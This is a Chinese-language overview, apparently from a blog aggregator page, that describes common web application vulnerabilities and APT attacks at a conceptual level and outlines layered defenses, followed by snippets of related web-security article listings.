    与认证和会话管理相关的应用程序功能常常会被攻击者利用,攻击者通过组建的社会工程数据库,检索用户密码,或者通过信息泄露获得的密钥、会话token、GSID和利用其它信息来绕过授权控制访问不属于自己的数据。如果服务端未对来自客户端的请求进行身份属主校验,攻击者可通过伪造请求,越权窃取所有业务系统的数据。

    1. (八)未授权访问/权限绕过

    多数业务系统应用程序仅仅只在用户客户端校验授权信息,或者干脆不做访问控制规则限制,如果服务端对来自客户端的请求未做完整性检查,攻击者将能够伪造请求,访问未被授权使用的功能。

    1. (七)XSS跨站脚本攻击/CSRF

    属于代码注入的一种,XSS发生在当应用程序获得不可信的数据并发送到浏览器或支持用户端脚本语言容器时,没有做适当的校验或转义。XSS能让攻击者在受害者的浏览器上执行脚本行,从而实现劫持用户会话、破坏网站Dom结构或者将受害者重定向到恶意网站。

    1. (六)SQL注入漏洞

    注入缺陷不仅仅局限于SQL,还包括命令、代码、变量、HTTP响应头、XML等注入。 程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,当不可信的数据作为命令或查询的一部分被发送到解释器时,注入就会发生。攻击者的恶意数据欺骗解释器,让它执行意想不到的命令或者访问没有准确授权的数据。

    1. (五)应用错误配置/默认配置

    多数应用程序、中间件、服务端程序在部署前,未针对安全基线缺乏严格的安全配置定义和部署,将为攻击者实施进一步攻击带来便利。常见风险:flash默认配置,Access数据库默认地址,WebDav配置错误,Rsync错误配置,应用服务器、Web服务器、数据库服务器自带管理功能默认后台和管理口令。

    1. (四)敏感信息/配置信息泄露

    由于没有一个通用标准的防御规则保护好中间件配置信息、DNS信息、业务数据信息、用户信息、源码备份文件、版本管理工具信息、系统错误信息和敏感地址信息(后台或测试地址)的泄露,攻击者可能会通过收集这些保护不足的数据,利用这些信息对系统实施进一步的攻击。

    1. (三)系统错误/逻辑缺陷带来的暴力猜解

    由于应用系统自身的业务特性,会开放许多接口用于处理数据,如果接口或功能未进行严谨的安全控制或判断,将会促进骇客加快攻击应用程序的过程,大大降低了骇客发现威胁的人力成本。 随着模块化的自动化攻击工具包越来越趋向完善,将给应用带来最大的威胁。

    1. (二)引用不安全的第三方应用

    第三方开源应用、组件、库、框架和其他软件模块; 过去几年中,安全领域在如何处理漏洞的评估方面取得了长足的进步,几乎每一个业务系统都越来越多地使用了第三方应用,从而导致系统被入侵的威胁也随之增加。由于第三方应用平行部署在业务系统之上,如果一个易受攻击的第三方应用被利用,这种攻击将导致严重的数据失窃或系统沦陷。

    1. (一)互联网泄密事件/撞库攻击

    以大量的用户数据为基础,利用用户相同的注册习惯(相同的用户名和密码),尝试登陆其它的网站。

    六、什么是APT?

    APT(Advanced Persistent Threat) 高持续性威胁,这个专业名词的源于09年Google退华事件中“极光攻击”这一安全事件,各国安全专家对这类攻击持续热议后总结而得。名词看着很新鲜,专业解释是指专门针对特定组织所实施的空前复杂且多方位的高级渗透攻击,也有很多人喜欢用我们中国的老话“不怕贼偷就怕贼惦记”来解释APT,但千万注意别把APT这个贼局限在网络攻击。

    七、APT攻击的危害

    • 一是摧毁,例如摧毁工业SCADA系统,导致电力控制设备、油田勘探设备瘫痪,ATM机渠道、电视台播放系统停运等;
    • 二是窃取,例如偷取各类互联网数据支撑黑产,窃取油藏地质数据等国家重要军备物资数据;
    • 三是监控,针对关键目标人物的网络聊天、短信、语音通话、视频监控等;
    • 四是威慑,就像“核威慑”一样宣称可随时进行各种破坏力巨大的高危行为。

    八、APT攻击的流程

    • 一阶段采用0Day漏洞技术植入恶意样本;
    • 二阶段是通过恶意代码进行远程监控;
    • 三阶段也是利用恶意代码对内网进行渗透攻击或破坏;

    攻击者为了对特定目标进行攻击,而特别设计和定制研发的恶意程序
    在这里插入图片描述

    沙盒处理性能到底是多少?

    在这里插入图片描述

    九、在面对APT攻击时的四个弱点:

    1. 对未知攻击的检测能力严重不足;
    2. 对流量的深度分析能力不足;
    3. 对终端的强效监管能力不足;
    4. 对整体安全态势的管控手段不足。

    攻防对抗的本质是“人与人”的对抗,以人为本是防御体系建设的根本!

    十、用平台化和工具化来进行APT防护

    1、Cloud - 云端

    • 汇聚各种线索事件
    • 智能的事件关联分析
    • 提供更全面的分析检测环境
    • 搭建人工分析基础

    2、Network - 网络层

    • 识别网络流量中的脏数据,切断监控目标的黑手
    • 防护来自流量的攻击威胁,提高目标植入难度

    3、Endpoint – 终端层(含移动端)

    • 识别目标植入的攻击行为
    • 拦截各种目标数据监控行为
    • 响应威胁处理任务,清理威胁文件并还原用户状态

    4、Test tools – 检测工具

    • 检测攻击者驻留的各种软件后门
    • 深度检测各种硬件级后门
    • 为攻击溯源搜集分析线索
    展开全文
  • Web安全攻防

    千次阅读 多人点赞 2018-04-11 15:39:49
    参考网址:【干货分享】Web安全漏洞深入分析及其安全编码常见 Web 安全攻防总结Web 安全入门之常见攻击来一张镇博图:安全无小事。1.XSS介绍:全英Cross Site Script,跨站脚本攻击。原理:攻击者在Web页面中插入...
  • Web安全终弹:两个“特别的”安全策略

    千次阅读 多人点赞 2020-06-08 18:57:44
    前面,笔者写了两篇关于web安全的文章,里面对两种安全策略进行分析的同时还简介了其余的安全策略: [Web安全:细说前端XSS攻击与防范]、 [Web安全:细说后端密码安全防范]; 最近笔者又碰上了两个新的web安全策略:...
  • WEB安全测试.pdf

    千次下载 热门讨论 2012-12-13 09:58:32
    Web安全测试》中的秘诀演示了开发和测试人员在进行单元测试、回归测试或探索性测试的同时,如何去检查最常见的Web安全问题。与即兴的安全评估不同的是,这些秘诀是可重复的、简洁的、系统的——可以完美地集成到你...
  • Web安全深度剖析

    热门讨论 2015-08-31 22:49:08
    Web安全深度剖析》总结了当前流行的高危漏洞的形成原因、攻击手段及解决方案,并通过大量的示例代码复现漏洞原型,制作模拟环境,更好地帮助读者深入了解Web 应用程序中存在的漏洞,防患于未然。 《Web安全深度...
  • web安全主要包括哪些方面的安全

    千次阅读 2020-10-20 10:14:10
    web安全主要包括哪些方面的安全:web安全主要分为保护服务器及其数据的安全、保护服务器和用户之间传递的信息的安全、保护web应用客户端及其环境安全这三个方面。 web安全介绍 Web应用安全问题本质上源于软件质量...
  • Web安全工程师成长路线

    千次阅读 多人点赞 2018-06-24 15:36:51
    Web安全工程师 职位描述: 对公司网站、业务系统进行安全评估测试(黑盒、白盒测试);对公司各类系统进行安全加固;对公司安全事件进行响应,清理后门,根据日志分析攻击途径;安全技术研究,包括安全防范技术,...
  • WEB安全之token令牌保证接口幂等性

    万次阅读 2020-08-16 02:05:34
    WEB安全之token令牌保证接口幂等性问题  业务要求:页面的数据只能被点击提交一次  发生原因:由于重复点击或者网络重发,或者 nginx 重发等情况会导致数据被重复提交 解决办法:采用 token 加 redis(redis ...
  • web渗透--1--web安全原则(上)

    万次阅读 多人点赞 2018-09-10 22:25:32
    web安全原则 安全应该是系统开发之初就考虑的问题。换句话说,安全是一个成熟系统的必备特性。在项目说明中不谈安全,并非因为不需要,而是因为安全都是隐藏的。 安全性设计中的关键问题是挖掘出系统存在的安全...
  • Web安全概述

    千次阅读 2018-03-08 11:43:20
    与此同时,随着Web技术发展越来越成熟,而非Web服务(如Windows操作系统)越来越少的暴露在互联网上,现在互联网安全主要指的是Web安全。既然要讲Web安全,首先介绍什么是安全,安全的本质是什么?引用《白帽子讲...
  • 这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起...这篇文章简单叙述了Web安全学习路线,并实现了最简单的木马和病毒代码,希望对读者有所帮助。
  • Web安全资料汇总

    千次阅读 2017-06-29 10:37:46
    《JavaScript DOM编程艺术》,《Python 核心编程》,《SQL注入攻击防御》,《细说PHP》,《白帽子讲Web安全》,《Web前端黑客技术揭秘》,《Web安全深度剖析》,《XSS跨站脚本-攻击剖析与防御》,《代码审计》,...
  • Web安全知识体系总结

    万次阅读 2019-02-09 00:15:32
    一、了解web安全 我们平时开发一般注重功能技术,而忽略了安全架构,对于怎么开发出一个安全的web项目,我认为有必要做一个学习与总结。 对于web安全,主要分为两大特性: ①私密性:数据不会被非法获取和利用,...
  • 文章目录@[toc]Web安全原理剖析一、SQL注入的基础1.1 介绍SQL注入1.2 注入的原理1.3 与MySQL注入相关的知识 Web安全原理剖析 一、SQL注入的基础 1.1 介绍SQL注入   SQL注入就是指Web应用程序对用户输入数据的...
  • Sitadel :Web安全扫描工具

    千次阅读 多人点赞 2020-11-23 23:18:08
    Sitadel Web安全扫描工具基本上是WAScan的更新,使其与python兼容,它为您提供了更大的灵活性,使您可以编写新模块并实现新功能: 前端框架检测 内容交付网络检测 定义风险级别以允许进行扫描 插件系统 可用于构建...
  • Web安全技术实战课,让开发者了解什么是常规漏洞,什么是逻辑漏洞,又或者哪些是组件漏洞。 在对漏洞有了大致了解之后,会针对不同类型的漏洞,讲解不同的防范方法;在掌握安全编码规范之后,则学习如何审计代码的...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 945,962
精华内容 378,384
关键字:

web安全